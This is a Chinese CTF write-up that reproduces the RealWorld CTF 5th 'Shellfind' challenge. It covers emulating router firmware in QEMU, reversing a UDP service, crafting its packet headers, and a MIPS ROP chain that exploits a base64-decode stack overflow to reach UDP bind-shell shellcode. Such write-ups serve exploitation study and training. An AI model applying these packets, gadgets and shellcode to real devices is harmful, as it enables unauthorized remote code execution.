RWCTF 5th Shellfind复现

VSole2023-01-28 09:45:29

前言

RealWorld CTF 5th 里的一道iot-pwn,根据真实设备固件改编而成,觉得题目贴近iot实战且很有意思,故在此记录一下复现过程。

题目分析

题目描述

Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.

从中可以看出漏洞大概率存在于UDP服务中。

固件分析

拿到手的是一个bin包,解压出来可以得到一个完整的文件系统。相比于常规pwn题单一的二进制而言,我们首先要做的是寻找漏洞文件。既然是真实设备改编那我们就可以先在网上找一找官方固件并尝试下载最新版本。

下载到官方的固件后,可以采取bindiff等方法去找被修改过的二进制文件。可以初步判定漏洞应该是出在ipfind程序中。

并且发现此固件为mips大端,且可疑漏洞文件没开保护。

固件模拟

我是直接用qemu去模拟的这个固件,当然也可以尝试用FirmAEfirmadynefirmware-analysis-plus等工具去进行模拟。我的qemu启动脚本如下:

sudo ifconfig ens33 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo qemu-system-mips \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

启动完成之后用scp把固件包、gdbserver、完整的busybox等传上去。之后用如下命令切换到固件包根目录进行操作:

mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

之后通过/etc/rc.d/rcS初始化服务。

启动完成之后通过./busybox-mips netstat -pantu去查看开放的端口及对应的二进制文件。

可以看到我们之前分析的可疑文件ipfind正是UDP服务,开放端口为62720

值得注意的是我们用ps去查看进程发现执行的是/usr/sbin/ipfind br0这个命令,但我qemu的有效网卡是eth0,这样以后我们会发现无法使用gdbserver进行调试,故我们要杀死该进程,并执行/usr/sbin/ipfind eth0 &,这样我们就可以使用gdbserver进行愉快的调试了。

漏洞文件分析

首先是建立socket通信并绑定到62720端口,与刚才看到的端口一致。

接着从client端接收数据,并进行一系列的操作。之后会对数据进行一个判断,以此来确定是否进入sub_40172C函数sub_4013F4函数

sub_40172C函数

想进入这个函数我们可以逆出来它所需接受的内容开头应该为:

header1 = b"FIVI"
header1+= b"\x00\x00\x00\x00"
header1+= b"\x0A\x01\x00\x00"
header1+= b"\x00\x00\x00\x00"
header1+= b"\x00"
header1+= b"\xFF\xFF\xFF\xFF\xFF\xFF"
header1+= b"\x00\x00"
header1+= b"\x00\x00\x00\x00"

这个函数会调用sub_400E50得到net_get_hwaddr(ifname, a1 + 17),实际上就是mac addrqemu启动时可以进行设置,之后打印出来对比一下即可),并把它发送到client端。这个值对于我们进入第二个函数必不可少。

sub_4013F4函数

想进入这个函数我们可以逆出来它所需接受的内容开头应该为:

header2 = b"FIVI"
header2+= b"\x00\x00\x00\x00"
header2+= b"\x0A\x02\x00\x00"
header2+= b"\x00\x00\x00\x00"
header2+= b"\x00"
header2+= mac
header2+= b"\x00\x00"
header2+= b"\x8E\x00\x00\x00"

进入这个函数后,我们即可找到我们的漏洞函数sub_400F50,这个函数有两次base64 decode,第二次解码时会发生缓冲区溢出。

漏洞利用

因为没开保护,我们布置好rop跳到shellcode上即可。但是我们由于没有libc地址,我们需要花费一定时间在ipfind这个文件里去找gadgets进行利用。

我们想要跳转到shellcode上执行,那么我们就需要可以泄露栈地址的gadget,于是我们找到了如下的gadget来泄露栈地址:

.text:004013D0 sub_4013D0:                              # CODE XREF: sub_4013F4+9C↓p
.text:004013D0                                          # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0 var_8           = -8
.text:004013D0 arg_4           =  4
.text:004013D0 arg_8           =  8
.text:004013D0 arg_C           =  0xC
.text:004013D0
.text:004013D0                 addiu   $sp, -0x10
.text:004013D4                 sw      $a1, 0x10+arg_4($sp)
.text:004013D8                 sw      $a2, 0x10+arg_8($sp)
.text:004013DC                 sw      $a3, 0x10+arg_C($sp)
.text:004013E0                 addiu   $v0, $sp, 0x10+arg_4
.text:004013E4                 sw      $v0, 0x10+var_8($sp)
.text:004013E8                 addiu   $sp, 0x10
.text:004013EC                 jr      $ra
.text:004013F0                 nop

这个gadget可以控制v0为栈地址,我们向上交叉引用找到一个既能控制ra又不改变v0gadget下:

.text:00401F98                 jal     sub_4013D0
.text:00401F9C                 li      $a0, aCanTGetHelloSo  # "Can't get hello socket"
.text:00401FA0                 b       loc_4020B4
.text:00401FA4                 nop
.text:004020B4 loc_4020B4:                              # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4                                          # sub_401DF4+238↑j ...
.text:004020B4                 lw      $ra, 0x7C+var_s8($sp)
.text:004020B8                 lw      $s1, 0x7C+var_s4($sp)
.text:004020BC                 lw      $s0, 0x7C+var_s0($sp)
.text:004020C0                 jr      $ra
.text:004020C4                 addiu   $sp, 0x88

但是在走这条gadget之前我们得先恢复gp寄存器,并且还要考虑到a1,a2,a3寄存器对栈的影响,最好可以控制为nop指令,以免对刚才泄露出来的栈地址上指令造成影响。

.text:00401218                 lw      $gp, 0x9C+var_8C($sp)
.text:0040121C                 la      $t9, close
.text:00401220                 jalr    $t9 ; close
.text:00401224                 move    $a0, $s0         # fd
.text:00401228                 move    $v0, $zero
.text:0040122C
.text:0040122C loc_40122C:                              # CODE XREF: sub_401120+80↑j
.text:0040122C                                          # sub_401120+A0↑j
.text:0040122C                 lw      $ra, 0x9C+var_s8($sp)
.text:00401230                 lw      $s1, 0x9C+var_s4($sp)
.text:00401234                 lw      $s0, 0x9C+var_s0($sp)
.text:00401238                 jr      $ra
.text:0040123C                 addiu   $sp, 0xA8

接着可以找到如下gadget使得可以跳转到S0寄存器存指向的地址中:

.text:004027C0 loc_4027C0:                              # CODE XREF: sub_402790+3C↓j
.text:004027C0                 jalr    $t9
.text:004027C4                 nop
.text:004027C8
.text:004027C8 loc_4027C8:                              # CODE XREF: sub_402790+28↑j
.text:004027C8                 lw      $t9, 0($s0)
.text:004027CC                 bne     $t9, $s1, loc_4027C0
.text:004027D0                 addiu   $s0, -4
.text:004027D4                 lw      $ra, 0x1C+var_s8($sp)
.text:004027D8                 lw      $s1, 0x1C+var_s4($sp)
.text:004027DC                 lw      $s0, 0x1C+var_s0($sp)
.text:004027E0                 jr      $ra
.text:004027E4                 addiu   $sp, 0x28

最后找一个可以把v0赋给任意地址,并且可以控制s0gadget即可:

.text:00400F28                 sw      $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C loc_400F2C:                              # CODE XREF: sub_400E50+CC↑j
.text:00400F2C                 la      $v0, ifname
.text:00400F30                 lw      $a0, (ifname - 0x413138)($v0)
.text:00400F34                 la      $t9, net_get_hwaddr
.text:00400F38                 jalr    $t9 ; net_get_hwaddr
.text:00400F3C                 addiu   $a1, $s0, 0x11
.text:00400F40                 lw      $ra, 0x20+var_s4($sp)
.text:00400F44                 lw      $s0, 0x20+var_s0($sp)
.text:00400F48                 jr      $ra
.text:00400F4C                 addiu   $sp, 0x28

最后跟上一个udp_bind_shellshellcode即可。布置完rop经过调试可知我们还需要写一个短跳转指令我用的短跳转指令是"\x10\x00\x00\x30" # b 0xC4,使得我们能够从泄露的栈地址跳转到我们的shellcode处。

exploit效果

完整exploit见:https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py

sudosub
本作品采用《CC 协议》,转载必须注明作者和本文链接
虚机ubuntu20.04, 安装docker, sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 安装docker-compose, sudo apt install docker-compose, 给harbor起个本地域
harbor2.5版本开始支持cosign做镜像签名,本周实践了一下, ubuntu20.04.4,安装docker,sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 安装docker-compose,sudo apt instal
vulnhub之cybox-1.1的实践
2022-08-14 12:30:50
今天实践的是vulnhub的cybox-1.1镜像,下载地址,https://download.vulnhu
0x01 工具介绍信息收集过程中,大型目标收集到的子域名和解析IP的关系错综复杂,肉眼分析起来费时又费力。cobweb 蛛网 将关联数据进行可视化显示,方便快速定位目标资产。
vulnhub之devguru的实践
2022-07-24 18:44:07
今天实践的是vulnhub的devguru镜像,下载地址,https://download.vulnhub.
前言 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一般在获取靶机的初始shell后,会进行提权,可以先查看home目录下的用户,因为有可能需要这个用户来做跳板去获取root权限;然后可以查看有没有sudo滥用,定时任务,suid文件,或者home目录下另外一个用户时宿主的文件等等,但是,往往有一个很容易被忽略,历史命令的查看。
在这个层中,来自upper层的更改会覆盖lower层的相应文件。对于同名文件upper层中的文件优先级更高。一个Overlay文件系统可以有一个或多个lower层。此层拥有写时复制特性,当想要修改lower层不可修改的fileC时,先拷贝副本到upper层,修改后呈现到merged视图。OverlayFS 操作流程挂载OverlayFS文件系统mkdir lower upper work merged. sudo mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay merged # 挂载OverlayFS
刚刚开始学Android逆向,发现Frida是个好东西,于是赶紧下载研究一番。下载源码编译,切换到最新版16.0.11, 编译之前注意先更新nodejs。就可以成功生成frida-server以及frida相关tools,于是push到手机上执行。报错了,继续往下试试。/ _ | Frida 16.0.11 - A world-class dynamic instrumentation toolkit. /_/ |_| help -> Displays the help system. . . . . Connected to AOSP on redfin . 然后看下perform实现: perform {. 果然报错就是在这里,那么关键的判断就是available了,再跳过去看看。
相关漏洞已经提交至CVE官网。漏洞介绍:在httpd文件处理admin/powerline的sub_40A918函数中,存在两处命令注入漏洞。对plc_device对应的key参数、plc_add对应的devicePwd参数不加过滤,直接vsprintf拼接执行,造成命令注入,也可以实现栈溢出攻击。版本:TL-WPA8630 KIT_V2_171011版,以及其他WPA、WR、WA等电力猫与中继器设备对应版本。固件模拟基本步骤和往常的设备模拟一样,利用qemu进行系统模拟,命令如下:#qemu系统模式启动
VSole
网络安全专家